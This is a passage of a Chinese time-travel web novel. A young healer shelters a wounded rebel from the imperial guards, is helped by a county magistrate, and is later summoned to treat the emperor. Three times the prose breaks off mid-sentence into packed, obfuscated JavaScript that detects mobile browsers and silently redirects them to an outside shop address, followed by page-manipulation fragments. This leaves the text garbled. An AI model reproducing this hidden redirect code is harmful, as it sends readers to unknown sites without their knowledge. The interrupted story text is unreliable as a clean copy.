孙大娘想着给赵念儿择个好夫婿,毕竟她上了年纪,不能陪伴女儿一辈子。可赵念儿不愿早早成婚,只想多在母亲身边尽孝。 可惜好景不长,六年前,赵念儿去河边洗衣服,就再也没回来。 孙大娘找了几个月,不见女儿的身影,哭瞎了眼睛。 赵念儿刚失踪时不过二八年华,如果还活着的话,现在应该二十有二了。 听完孙大娘的经历,白羽歆和柳翠都沉默了许久。白羽歆不禁同情起孙大娘的命运,中年丧夫,女儿又不见了。 这世上,又有多少像孙大娘那样的命运悲惨的人呢? 傍晚,白羽歆和柳翠回到家。 白羽歆先是查看了刘进的伤口,换药的时候,刘进硬是一声不吭,但豆大的汗珠布满他的脑门。 柳翠看到桌子上留的饭菜都没怎么动,说道:“要想养好身体,不吃饭怎么行啊?” “其他人都在战斗,我却在这里躺着,一想到这里,还哪敢享福。” 白羽歆不满地看着他:“你这是受伤了,本来就应该好好修养!” 可刘进却说什么都听不进去,偏要用这种方式折磨自己。白羽歆气得拉起柳翠就走,索性不去管他了。 日子如常地过着,白羽歆刚包扎好一个患者的伤口,就听集市吵吵嚷嚷的。 皇城司们互送一个囚车穿过集市,直向另一端前行。 很多人都跟在后面看热闹,白羽歆担心错过什么重要消息,也跟着去了。 “发生什么事了?” “你没听说啊,有个反抗军的人被抓住了,拉过来处决呢!” “处决?要砍头吗?” “可不是嘛,皇城司还能对反抗军仁慈?” “皇城司那个领头的可生气了,说什么居然还有漏网之鱼,非要把附近都翻个底朝天不可呢!” “是啊,我看刚才过去不少人,四处翻东西呢,我邻居家就被皇城司翻个底朝天。” 白羽歆心头一紧,扭头就往家的方向跑去。 8. 第 8 章 “不好意思,让一下。” 白羽歆拨开人群,逆向着跑着。 有人嚷嚷起来:“急什么,赶着投胎啊!” 还真是,没准一会儿真投胎去了。 白羽歆走的很着急,柳翠在后面追赶,好不容易才和她持平。“羽歆姐,怎么了,你怎么这么着急?” “我刚才......听说皇城司要巡查,刘进还在我们家院子里,我得赶紧通知他......让他快走。”白羽歆气喘吁吁的,说话都要停顿好几次。可她还是拼命跑着,生怕慢一步就要看着别人见阎王——或者她自己去见阎王。 反正也没什么差别,在她家里找到反抗军的人,难道皇城司会放过她? 就算她到时候为了脱身狡辩根本不知道收留的人是反抗军,自己跟他压根没什么关系,以皇城司一惯不讲道理的作风来看,照样难逃一死。 但她现在不想死,也不能死。 从刚穿越到这个陌生的朝代一直到现在,白羽歆亲眼目睹了无数次惨案,对于原主临死前要报仇的想法理解得越发深刻。 原主临死前说话,定要将残暴无度的皇帝连同狗仗人势的手下一同斩于刀下。她想,就是这份强烈的恨意导致原主死后有人穿越到她身上,替她报仇的吧。 原主连为什么被抄家,父母尸首身在何处都不知道,但白羽歆很想知道。假以时日,她一定要查清楚全部缘由。 “站住!” 一声严厉的声音传来,巡查的皇城司对着白羽歆和柳翠二人怒吼。两个皇城司像是嗅到猎物一般,用不怀好意而激动的眼神看向她们两人。 “这么着急是去做什么,老实交代!”其中一个人大声喊着,白羽歆耳朵都有点痛。 “回大人,小女......小女刚刚想起家里有事情忘记处理,这才急着赶回去,不知二位大人可否放行。”白羽歆不卑不亢地回答皇城司的问题,心里却捏了一把汗。 这理由真的能骗过去吗? “哦?你倒是说说具体是因为何是,才如此慌张?不会是做贼心虚,干了什么掉脑袋的事吧?”对方像抓到白羽歆的把柄一般,显得更加激动。另外一人面上不显,但看得出来心里也是同样的想法。 好吧,她就知道皇城司不会轻易放过她们,更何况在这种时候行迹匆匆,确实比较可疑。 早知道走小路,行动慢一点好了。她之前想的没错,有皇城司在,大路才是最危险的!可是她当时太慌张,又没想那么多,看来以后要多注意了...... 这时柳翠忽然开口:“二位大人,是这样的,小女今日早晨做饭,出门时忘记熄灭灶台,着急回去看一眼。若是走水了,自家的房子毁坏不说,还要连累邻里邻居。更何况,还会给诸位大人添麻烦。不知二位大人可否通融一下,让我们回去呢?毕竟我们二人只是弱女子,能在皇城司大人的眼皮下干什么呢?” 柳翠最后一句话显然很有效果,鼻孔朝天看人的那个皇城司看起来有所缓和。他刚想说些什么,另外比较沉默寡言的那个拦住了他。 “特殊时期,没有人能额外通融。”见柳翠脸上失望和紧张的神情,他继续说道:“不如这样,我们就跟你们一块回去,这样你说的是真是假,自有分辨。” 事到如今,也只能这样了。 希望刘进能在皇城司到来之前就察觉到不对劲,自己提前离开了。 “两位大人请随我来。”白羽歆勉强笑了笑。尽可能使自己看起来不那么紧张。 白羽歆悄悄叹了一口气,继续向前走着,只是这次脚步明显放缓了不少,像是有意在拖延时间一样。身后的皇城司亦步亦趋地跟着,白羽歆顿感压力巨大。 天杀的皇城司,怎么就这么阴魂不散。 行至接近白羽歆家时,一伙人突然出现,拦住了他们的去路。 “什么人!”皇城司警惕地问道,手不知何时已经抚上刀鞘了。 “大胆,景州知县在此,你们皇城司就是这副态度吗?”一个护卫模样的男人从刀鞘中拔出剑,对着皇城司的两人。 两拨人剑拔弩张,似乎马上就有一场恶战一般。 他们不会在这里打起来吧,等等,景州知县...... “各位不必如此紧张吧。”一个身形高挑挺拔,身着华贵的男人从后方缓步走过来,他脸上带着一惯柔和的笑容,却在看见皇城司时眼睛闪过一丝寒意? “羽歆姐,”柳翠悄悄扯了一下白羽歆的衣袖,凑近她耳边小声说道,“我们半个月前被永安堂的人找麻烦时是不是见过他。” 柳翠只知道厉玦是景州知县,不知那日清晨白羽歆和他之间的对话。她不着痕迹地打量厉玦,不清楚他的态度,显得有些害怕,往白羽歆身后藏了藏。 白羽歆安抚性地拍了拍她的手背:“没事没事。” 厉玦来这里干什么? 听到厉玦的话,手下还想辩驳:“但是——” 厉玦对他摇摇头,手下不甘不愿地收起手上的佩剑,然后气愤地看着皇城司。 见对面收了剑,皇城司的二人也将佩刀收回到刀鞘中去。 “厉大人难道很闲吗?居然亲自来管闲事。”皇城司不怀好意地看着厉玦,他们是皇帝的直系下属,自然没有把景州知县放在眼里。 厉玦反应平淡,像是根本不在意皇城司说的话一般,弯起嘴角笑了笑,却很快收敛起笑容。 “百姓的事怎么成了闲事,如果这也算多管闲事,那皇城司的各位平日做些什么正事?” 皇城司答不出来,脸色很是难看。 白羽歆在心里大笑,皇城司大抵把平日的掠夺财物、欺压百姓当成每日必做任务清单了。 那个行为冲动的皇城司说道:“少废话,堂堂知县居然阻拦皇城司,难道是想包庇反贼吗?” “反贼?”厉玦脸上流露出恰到好处的惊讶,“你是在说这二位姑娘吗?我竟不知道什么时候皇城司抓不到反抗军,居然以欺压无辜百姓泄愤了。” 护卫也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596117|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了:“如果这两个姑娘能是反抗军,还在皇城司眼皮下藏那么久,那全天下的皇城司的面子都要丢尽了。” 性格冲动的皇城司还想再说什么,另一个比较冷静的阻拦了他的动作,对他摇摇头。这里毕竟是景州,难道他还真能在化天化日之下对当地知县动手? “厉大人有所不知,皇帝下旨,凡是藏匿、帮助反抗军之人全部以同谋论处。这两个女子形迹可疑,有慌慌张张,很可能是给反贼通风报信去了。” 话音刚落,柳翠连忙对厉玦说:“我只是想到忘记熄灭灶台,所以才着急回家!我们真的没有藏匿反抗军的人!” 厉玦显得很从容:“我相信你们没有,不如这样,既然皇城司想确认真假,那就让他们确认一下。” 白羽歆以为厉玦会帮忙阻拦,却没想到他会这么说。算了,走一步算一步。白羽歆心一横,继续带着皇城司的人前行。 厉玦跟在他们身后,护卫想说什么,却被厉玦用眼神制止了。 厉玦表情丝毫不见慌张,淡定自然得像只是旁观了一场闹剧一般,给人以一种置身事外的从容感。 白羽歆有些疑惑,根据上次见面,厉玦表现得像个心怀百姓的官员,对于皇城司的所作所为非常不满。可这次见面,厉玦却没有出手阻止皇城司。 回家的路途不远,但白羽歆却好像走了很久很久,久到走到家门口都无知无觉,差点走过了家门口。 柳翠紧张得吞咽了下口水:“到、到了,各位大人......请进。” 皇城司毫不犹豫,一边一个推开大门,然后立即走进屋子,直奔厨房。 “不是说忘记熄灭灶台了吗?这是怎么回事!”皇城司见灶台内部不见一丝火光,质问道。 “这......可能是我忘记了,我也只是不确定有没有熄灭灶台,不放心,所以才着急回去的。”柳翠仍然紧张地辩驳着,心简直要提到嗓子眼。 “呵,我就知道你们匆匆忙忙的,一定是心虚!” 一个皇城司见状,就要捉拿她们,另一个皇城司查看了房间,却没发现半点可疑的痕迹。 “什么都没有。” 然而,怀疑的目光依旧落在白羽歆和柳翠身上。他们不信邪,又去了院子里,上上下下仔细翻找,就连外边围墙都不放过。 二人归来,白羽歆从他们的表情看出来,定是一无所获。 “既然什么都没有,可以离开了吗?本官认为,皇城司的诸位定是被反抗军弄得手忙脚乱,连一点风吹草动都这么精神紧张。” 皇城司被一番奚落,余光一瞥,却看到另一边的旁屋。 “等等,那边还有一个屋子。” “那只是用来放杂物的屋子而已,什么都没有!”白羽歆上前阻止,却被推搡开。 她无奈地闭上眼,对于接下来的场景不忍直视。 皇城司脸上露出了势在必得的神情,却在打开房门后消失的无影无踪。 房屋之内,空无一人。 9. 第 9 章 “人在哪里!” 见房屋内空无一人,皇城司颇有一种被戏耍的感觉,他冲到白羽歆面前质问。 白羽歆被那突如其来的暴怒神态吓到,但还是强装镇定。 “我不明白你们在说什么,这间屋子本来就没有人啊。”她竭力表现得像个被无辜卷进来的普通百姓,但在皇城司看来犹如挑衅一般。 柳翠也冲上来护住白羽歆:“小女早先便说过回来是为了查看炉火,怎么会和反抗军那些叛贼有勾结呢?您二位大人既然已经查看过,又为什么还起疑呢?” 皇城司脸上满是戾气,厉玦却开口了:“本官知道你们为了清剿反抗军精神紧张,可这样为难两个女子是否太过失态了。” “等着,要是被我们抓到什么把柄,有你们好瞧的!”皇城司对白羽歆和柳翠撂下一句狠话就气冲冲离开了。 白羽歆刚安心下来,想到刘进的去向,试探性地询问道:“敢问厉大人出现在这里所为何事?” 厉玦温润地笑了笑,猜出白羽歆心中所想:“你们藏匿的那个人已经被我手下转移走了。” 柳翠脸上立即浮现出惊讶的神色:“想不到知县大人居然会帮助反抗军。”话说出口,柳翠立即指正,“不对不对,我的意思是说厉大人真是心地善良、料事如神!” 厉玦也是在几天前偶然发现反抗军的人的,收到皇城司清剿反抗军的消息,他面上没说什么,只是抱怨皇城司将景州弄得人心惶惶。实际上,也排出手下暗中寻找反抗军。 藏在他那里,总要比被皇城司抓到要好。 他从一个反抗军口中得知他们的一个同伴被当地有名的女医所救,心下立马浮现出白羽歆的身影来。 所以,当得知皇城司要将抓到的反抗军在集市公开处决时,便立马派人去了白羽歆的居所寻人。 幸好来得及时,这才化解一场危机。 听了厉玦的讲述,白羽歆和柳翠也松了口气。 白羽歆心想,她命硬的能砍穿地球。 “不必担心了,白姑娘,我会安置好反抗军的人。”厉玦宽慰道。 白羽歆点了点头,半晌又觉得哪里不对:“厉大人知道我姓白?” 厉玦看过皇城司登基集市商户的名册,因此得知了她的名字。其实在此之前他就多方打听过,只不过当时一无所获罢了。 “当然,白姑娘的名字很好听。” 原主的母亲给她取了这个名字,“羽”是希望她像鸟儿一样翱翔于天际,无拘无束,“歆”蕴含了喜悦的意义。 原主母亲希望女儿未来不必被世俗拘束,想做什么就去做什么,只要开心就好。 可是...... 她忽然又想起相隔几千年的父母,她恐怕此生都难以再见到他们了。她的名字大抵也是这样的含义吧,像飞鸟一样翱翔,最终划破天际。 她伤心的情绪没持续多久,很快就振作起来,忽然想起了什么事。 “对了,厉大人,前几日皇城司将永安堂的大夫带走了,不知是去做什么,那大夫嘴里还念叨着‘皇帝’,是要进宫吗?” 身为知县,皇城司的行为理应向厉玦交代的。可他们在当地罔顾律法,擅自行动,根本不把县衙放在眼里。 “我也是在他们带走李大夫之后才知道的,不过......”厉玦欲言又止,不知是否应该将这件事告诉她们。 柳翠性子急,见他说了一半又止住话头,禁不住催促道:“不过什么啊?厉大人告诉我们吧。” “李大夫被赐死了,皇帝对于皇城司找来的大夫很不满,治罪于景州皇城司首领。据说全国的皇城司都在寻找灵丹妙药和神医。” 当手下将这件事报告给厉玦时,他也很惊讶。 早先有人有意拉拢厉玦,提供了许多情报,本来厉玦只是当作坊间传闻听听就算了,可不想竟然有些内容与现实一一对应上了。 听闻皇帝宴崇儿时跟着母亲住冷宫,挨饿受冻,身体有顽疾,太医诊断他活不过不惑之年。 自宴崇继位后,便有了传言,在大臣之间不胫而走。据说宴崇杀父夺位,触怒上天,遭了天谴。宴崇为此还特意清算过一拨人,后来再也没人敢妄议宴崇的事。 流言传的厉害时,厉玦还没做官,哪里知道这些,如果不是有人为了拉拢他,恐怕这辈子都不会知道了。 不过,宴崇毕竟也接近不惑之年,身体每况愈下,也变得越来越焦急。皇城司送去京城的东西厉玦看过,除了必备的金银财宝外,就是药草。 景州药草自然无法同洛川的相比,厉玦虽不懂医术,却也看得出来那些药草品相不是很好。他想,这些东西就算送到宫中太医手上,也派不上用场,只能白白丢弃。 可如果是白羽歆,总会让它们发挥最大价值。 听了厉玦的讲述,白羽歆心念一动,将之前酝酿的计划托盘而出。 意料之外的是,柳翠和厉玦都很担忧,柳翠抓住白羽歆的手:“姐姐,你真的想好了吗?” 厉玦同样担忧地看着她:“这太冒险了。” 白羽歆却更加用力地回握柳翠的手,坚定地说:“我想好了,你们不必担心,我这么做也不光是为了别人。” 原主一家人死的不明不白,白羽歆想着顺带调查真相,也算是了却原主心愿。 此后这样风平浪静的日子又过了几日。 饶是皇城司再怎么嚣张,也不可能再找到任何一个新的反抗军,首领显然很生气,当着众人的面训斥了他们。 之前去白羽歆和柳翠家搜寻未果的一个皇城司不太服气,说道:“并非属下办事不力,实在是这些反贼太过狡猾!” 另一个共同把白羽歆家翻个底朝天的皇城司也开口:“我们之前巡查时见过两个形迹可疑的女子,她们扯了一堆借口试图蒙混过关,属下坚持要检查,却在路上遇见知县厉大人。” “厉大人?”皇城司首领发出一声不屑的笑,他看不惯厉玦清高的作风,却没想到他这般多管闲事。 “多关注一下知县那边的动向,有什么可疑之处及时向我汇报。” “是!” — 集市聚集的皇城司肉眼可见地减少了许多,甚至经常到小吃摊白吃白喝的皇城司都许久未见了。 这样平静的日子好不容易到来,甚至仿佛回到了皇城司还没来过的那段时日。 糕点铺的老板,一个有些胖的面善女人给街坊邻居送来糕点。 “哎呀,您太客气了,我们可不能要!”白羽歆连连推拒道。 “什么客气不客气的,做了那么多点心,你们不吃的话也浪费了。”说到这里,老板脸上浮现出一丝反感,“之前的点心都白白到了皇城司那帮狗东西嘴里。” 领了老板的点心,柳翠笑着安慰:“没事了,我看不少皇城司都离开了,兴许没过多久就能过上和之前一样的生活。” 老板满面愁容:“但愿吧。” 刘进过几日就要跟着其他被保护起来的反抗军离开景州,走之前给白羽歆和柳翠写了封信,表达他的感谢。 不过白羽歆没想到这封信居然是厉玦亲自送过来的。 “没想到厉大人居然改行当信使了。”在家门口从厉玦手中拿到信,白羽歆笑着打趣他。 “不用这么客气,叫我厉玦就好。”厉玦那张过分出众的脸看起来气色不怎么好的样子,眼下浮现出乌青,看样子很久都没有睡过一个好觉了。 “话说起来,集市这边皇城司少了许多呢。”跨进门,柳翠随口说道。 “他们在县衙那里。”厉玦表情很是难看。 天知道他这段时间过的是什么日子。皇城司一窝蜂地住进县衙附近,每日工作时听见他们训练的声音,办公累了出门转转撞见皇城司巡查。 这也就算了,一旦看见厉玦,皇城司就紧紧跟着他,甩都甩不掉。皇城司首领经常邀请他共进晚餐,全都被厉玦找理由拒绝了。 “阴魂不散的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596118|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真烦人。”最后,厉玦用一句话总结。 白羽歆点点头,这也太可怕了,被这样一群人盯着,连一点隐私都没有。 “他们一定是开始怀疑你了,要么就是没事找事。哦,还有可能是职场霸凌。”白羽歆一边拆信一边说道。 “职场霸凌?”厉玦显得十分疑惑,听不懂白羽歆在说些什么。 这每个字他应当都认识,但为什么合在一起就听不懂了呢? “哦,职场就是工作的场所,霸凌就是欺负别人。” “这样啊。”厉玦点点头,这不是职场霸凌是什么。 白羽歆看完信叹了一口气,又将信交给柳翠。 刘进用朴实的言语表达了对于她们治病照料的感谢,并且希望她们在这里一切都好。 柳翠看完以后托着腮,不知道在想些什么。 厉玦:“现在时候还早,如果二位要写信的话,我可以帮忙带回去。” 柳翠推脱道:“我认的字不多,而且几乎没碰过笔,就算了吧。” 厉玦忽然想起来,写信的话好歹也要纸和笔,这房间里上哪找纸笔。于是笑了笑:“也是,这里没有纸笔,也不方便写信。” 白羽歆忽然想到了什么,环视房子一圈,在一个角落翻翻捡捡。 “有了。” 她将毛笔和纸拍在桌上。这房子的主人平日喜爱书法,之前还收藏了不少书法大家的作品,去往别处逃难时也放在身上。 有了纸和笔,写信看起来就不是什么难事了。柳翠和厉玦用期待的眼神看着她,白羽歆却犯了难。 虽然她有原主的记忆,能看得懂古代的文字,但写起来又是另一回事了。 厉玦研完墨,看着还在发呆的白羽歆,询问:“白姑娘还没想好写什么吗?” 白羽歆尴尬地笑了笑,她现在说她不会写字还来得及吗? “唉,这段日子我硬着头皮做了很多事,比如行医。所以——”白羽歆故意拖长了音,看着厉玦和柳翠一头雾水的神情笑出了声。 厉玦:“所以医术进步了许多?” “头皮变硬了不少。” “这是什么新的笑话吗?”厉玦不知道白羽歆这番话的含义,问道。 “没什么,没什么。”白羽歆摆摆手,装作很有自信的样子下笔。 三个手掌大小的墨团出现在和桌子一般大的纸上。 “......” “看来白姑娘似乎不太擅长书法呢。” 何止,简直就是一窍不通呢。 白羽歆小时候被妈妈送去上书法课,上了几节觉得无聊就不再去了。要知道还有今天,说什么也要咬着牙学下去。 她给自己换了张纸,继续写下去。主要是祝福刘进平平安安,早日找到家人。 她将这封字迹难看到自己都不忍直视的信交给厉玦,这才算结束。 厉玦收起信,起身告别。 过了几天,白羽歆和柳翠百无聊赖地待在药铺,却看见一群皇城司风风火火地走过来,直冲她们而来。 “谁是白羽歆?” “正是小女。”白羽歆回答皇城司的问题,不动声色将柳翠挡在身后。 只见皇城司们相互使了个眼色,不由分说地将她带走。 “姐姐!”柳翠追出药铺,却被皇城司拦下,只能眼睁睁看着白羽歆离她远去。 路途不是很长,白羽歆看起来十分从容,就好像只是散步一般,心脏却跳动的很快,像是随时都要突破胸腔一般。 她不停地想着,究竟发生了什么,却想不出个所以然。 一路上,一惯喧闹的皇城司却没有一人出声。行至皇城司的居所,白羽歆勉强笑了一下:“敢问各位大人,我是要医治哪位病人吗?” “少废话,进去就知道了。” 有人给她开门,进入屋内之后,白羽歆的额头沁出冷汗。 一个男人躺在床上,头上的伤口深可见骨,满脸是血。 10. 第 10 章 现在撂挑子说不干了还来得及吗? 白羽歆注视着那张被鲜血染红的脸,心说都伤成这样真的还能活命吗? “喂,到底能不能治,给个准话!” 被皇城司团团围着,白羽歆在内心疯狂吐槽,可她仍然维持着表面的平静,淡定开口。 “小女医术平平,但会全力以赴。只是所要用到的药物过多,不知此处的药物储备是否全面。” 皇城司交流了一下,立即喊人过来,在这间隙,又进来几个人,上来就哭哭啼啼,一副狗腿子的做派。 有人看起来很悲痛的样子:“该死的反贼,居然这么胆大包天。” “负隅抵抗罢了,没看到他们四处逃窜的样子有多可笑?”有人接过话题,冷嘲热讽,满眼尽是对于同僚夸张表演的不屑。 “居然让反贼就这么跑了,你们干什么吃的!”看起来在皇城司中有点话语权的人闻言训斥了他们,咬牙切齿的,看起来很是愤怒。 另一人用冰冷的眼神注视他们,后者见状明白言多必失,闭上了嘴。 一个人走过来,对白羽歆说:“要什么药物你尽管提,就算没有我们也去找。要是你敢耍什么花样,就等着瞧吧!” 白羽歆听了威胁心中很是淡然,冷静地将需要的东西一一说出口,然后看着被交代下去的皇城司的背影陷入沉思。 能被这么大阵仗对待的人,看来必定官职不小。平日里受伤的皇城司倒还好说,有军医诊治,但伤的这么严重,只怕是剩下等死的份了。尸体匆匆被卷起来扔掉,连原本的面貌都看不到。 不过...... “不知这位大人是否经过军医的诊治,毕竟小女医术有限,听了更有经验的大夫,也算有个参照。” 难道皇城司没有随行医生?再不济景州不是还有永安堂在吗,找她来做什么! 皇城司却说,军医看见脑袋上伤了这么大一块,必定救不活了,他担不起这个责任,还是另寻高明吧。 皇城司又去了永安堂,永安堂的大夫们听说要医治的是总领大人,伤情又那么严重,说什么都不肯去。 半是威胁地带走了永安堂几个年长有经验的大夫,看了伤口却说一定治不活了。永安堂医术最高明的李大夫被送去面圣,已经被处死了。哪怕他还活着,也不敢说自己能医好。 可皇城司不能放任总领就这么死了,便找到景州附近最后一位大夫,也就是白羽歆。 原来是皇城司的总领,怪不得这么重视,可现在打退堂鼓又来不及了。皇城司估计也是死马当活马医,就算白羽歆治不好他也只能听天由命吧。 白羽歆在前世从手机上看过类似的案例,在古代,那些血肉模糊的伤口看起来比较吓人,但大多只是伤及体表肌肉组织。如果通过缝合和固定这样的物理手段,或许可以治愈。 在医学技术发达的现代,这样的手术或许不难,但这里是古代,她又不会做手术。 白羽歆唤人打来水先清洗表面伤口,在清洗途中,却发现伤口看起来非常吓人,但颅骨却没有受什么伤,只有头皮伤的比较严重。 如果骨头完好无损的话,生还几率其实还是蛮大的吧...... 白羽歆按照她的全部所学,能做的全做了。等到处理完伤口,她松了一口气,发现身上不知何时出了一层薄汗。 血已经止住了,那个皇城司的总领看起来又身强力壮,看起来像是能挺过来。 在古代,伤口感染也是最大的死亡因素之一。白羽歆做了消毒,还是不放心,想出声提醒,但又止住这个念头。 皇城司做了这种事,平心而论,她不想他们的首领眼睛还能睁开,最好干脆一睡不醒算了,这种死法都是便宜了这种人。 可是,这个首领死了,还会有其他人接替这个位置,皇城司的罪恶不会停止,而真正要处理的,也不止是他们。 白羽歆陷入纠结之中,但没过一会儿,还是深吸一口气,缓缓开口:“各位大人在照看的时候千万当心伤口,切忌接触污物,伤口一旦接触污染,有可能伤及生命。” 对方说了声知道了,就让白羽歆离开了。 等回到药铺,柳翠担心地迎上来:“羽歆姐,你怎么样,他们没有为难你吧?” 白羽歆将事情一五一十地讲给柳翠听,在柳翠惊叹与震惊交织的目光中露出意味深长的笑。 第二天一早,白羽歆穿行在街道中间,偶尔能听到邻里的议论声,似乎是在探讨昨日的那场恶战。 无心去关心这些事,白羽歆从容地走着,目标却很明确。 “站住,例行盘查。”皇城司站在路边,用探究的眼神看着每一位路过的行人。有人遇到皇城司检查,吓得浑身哆嗦。 白羽歆没有半分惧色,站在那里等着皇城司检查。 皇城司指着白羽歆手里拎的小篮子:“这是什么,打开我看一下。” 她掀开小篮子上盖着的布,只是刚买的糕点而已。皇城司失望地看着小篮子里的东西,不情不愿地放行。 松了一口气,沿着记住的路线,白羽歆慢慢走着,来到一处院落。 推开院门,厉玦在中央的方桌旁坐着,看起来等候多时。 “白姑娘路上一定是遇上皇城司的人巡查了吧。”见白羽歆姗姗来迟,厉玦了然地说道。 “是,看起来皇城司很不甘心。” 昨日,皇城司总领之所以受伤,是因为反抗军离开景州的行动被发现。皇城司派人围剿反抗军,却被英勇的反抗军所伤,就连一惯躲在他人身后的皇城司总领都不能幸免。 皇城司怀疑有人通风报信,调查了许多人,就连厉玦也被人旁敲侧击地询问一番。 当时厉玦佯装震怒,才勉强摆脱怀疑。 之前厉玦与皇城司交恶,皇城司会怀疑他也是在所难免的,只是不想这么快就查到他头上了,看来以后还是要谨慎行动。 “幸好反抗军的各位已经顺利转移了,这下皇城司再也找不到一点把柄。”白羽歆显得很开心。 今天一早,白羽歆收到之前藏匿反抗军的地方的地图,花了好长时间背下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596119|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后将地图放到火炉里烧掉了。 藏匿反抗军的地方换了好几次,皇城司虽然傲慢,但人多势众,十分难缠。要想摆脱他们,还真废了厉玦很大功夫。 正交流着信息,有几个小厮打扮的人走出来,对厉玦说道:“厉大人,屋内已经打扫好了。” “好,你们可以离开了。” 待小厮们离开以后,厉玦说道:“不用担心,他们都是自己人。” 县衙的人不一定都和厉玦理念相同,为了筛选“自己人”,厉玦可是下了很大功夫。 白羽歆了然:“话说,皇城司总领怎么样了。” “他居然真的活下来了。”提起这件事,厉玦觉得很不可思议。那伤口他也见过,要不是因为伤者是总领的话,早就被扔到乱葬岗等死了。 白羽歆不愧是药谷的人,医术如此高超,令人倾佩。 当初厉玦有意无意提起在皇城司面前提起白羽歆,就是为了昨日的大展身手。 如此惊为天人的医术,若是传出去,必定震惊十里八乡。 相信不出七日,就有“好消息”从皇宫一路传到景州了。 果然,在给皇城司首领行医后的第七日,皇城司敲响了药铺的门。 对,没错,这一次是敲门。 皇城司表现得似乎比之前多了几分尊重,他们此行是为了告诉白羽歆,皇帝召她入宫行医。 白羽歆佯装惊讶:“什么?这......小女如何能担得起如此重任!” “只是......”在皇城司逐渐变得凌厉的目光中,白羽歆说道,“不知大人可否宽限几日,入宫行医必然要准备一些药材,小女明日去往山间采药,两日后出发可以吗?” “放肆,入宫朝圣岂容怠慢!宫中什么药材没有,还需要你去准备?” “大人有所不知,小女最擅长以山间药草为己所用。山间奇草众多,小女也是为了到时候能调配出适合陛下的药来。” 皇城司想了想,皇帝的命令是十日内抵达京城,但路途不远,最晚五日也到了。 于是他说道:“可以,但两日后必须出发。” 皇城司走后的那天夜晚,白羽歆悄悄去了厉玦置办了那间用于藏匿反抗军的院落。 厉玦不多时也来了,他那边听说皇城司来找白羽歆,就派人传来消息,约在这里见面。 “看来皇城司总领恢复的不错。”白羽歆半晌才开口,语气轻松,看不出她的情绪。 这一去,或许再也回不来了,其实她挺喜欢景州的风土人情的。 柳翠知道她要进宫行医,抱着她哭了起来。她环抱着柳翠,也分外不舍。 “我唯一放心不下的就是柳翠,我将她当作亲妹妹,不知可否托付给厉大人。” “好。”几乎想都没想,厉玦就应下了,“我会将你的妹妹当作我自己的妹妹照料,定会让她平安无事的。” 有了厉玦的话,白羽歆放心多了。 院门处突然传来异响,白羽歆和厉玦瞬间警觉起来。 “谁?” 11. 第 11 章 大门“吱呀”一声被推开,一个步履蹒跚的老人缓缓走进来。 白羽歆惊讶地看到,那个人竟然是前些日子在集市上见过的双目失明的老婆婆。 “孙婆婆,您怎么来了。”厉玦显得很惊喜,语气中带着一丝惊讶。 厉玦看起来和孙婆婆很熟悉。白羽歆感到有些意外,没想到他们居然相识。 厉玦替她解释,在反抗军藏匿在厉玦安排的地方时,孙婆婆曾经也找到过厉玦,还带来了钱,说希望能帮助到反抗军。皇城司臭名远扬,孙婆婆早已经对此不满了,希望能尽自己的绵薄之力,能帮一点是一点。 厉玦自然不肯收钱,她这样一位老人家,连吃住恐怕都成困难,怎么能收她的钱呢。 孙婆婆见厉玦不肯收钱,只好退一步,希望能给反抗军送去餐食。 一来二去,孙婆婆经常来这个小院子,渐渐熟悉了这里。 白羽歆引着孙婆婆落座:“您坐这里,小心脚下。” 听见白羽歆的声音,孙婆婆好像想起来了什么,问道:“你就是集市上那个有名的神医?” “哪里算得上神医。”白羽歆谦虚地说道,却也惊讶孙婆婆居然知道她。 孙婆婆也许是想起了之前集市上的一面之缘,掏出一个布袋,递给白羽歆。 白羽歆接过袋子,好奇地打开看,却在看到里面的东西之后发出疑问:“这是......” 袋子里满是饰品,看起来价值不菲。 “皇城司来找白姑娘的消息传遍了,就连我这个老婆子都听说过。白姑娘要是入宫的话,可否帮忙寻找我家念儿,她离开的时候还那么小,现在怕是已经长成大姑娘了......”孙婆婆眼中闪烁着泪花。 孙婆婆早些年听街坊邻居说过,曾经在赵念儿失踪前见过她,当时她被几个看上去来处不简单的大官带走,正向他求救呢。 邻居不敢招惹是非,只得装作没看见。 那姑娘的哭声像噩梦一样缠绕他,整整一年。 直到一年后,孙婆婆筋疲力竭,哭瞎了眼睛,邻居才敢把这件事告诉她。 孙婆婆当时哭着,比意识到念儿失踪,离她远去还要伤心。她怒骂着,声音十分悲切,但又无可奈何。 她再也找不到她的念儿了。 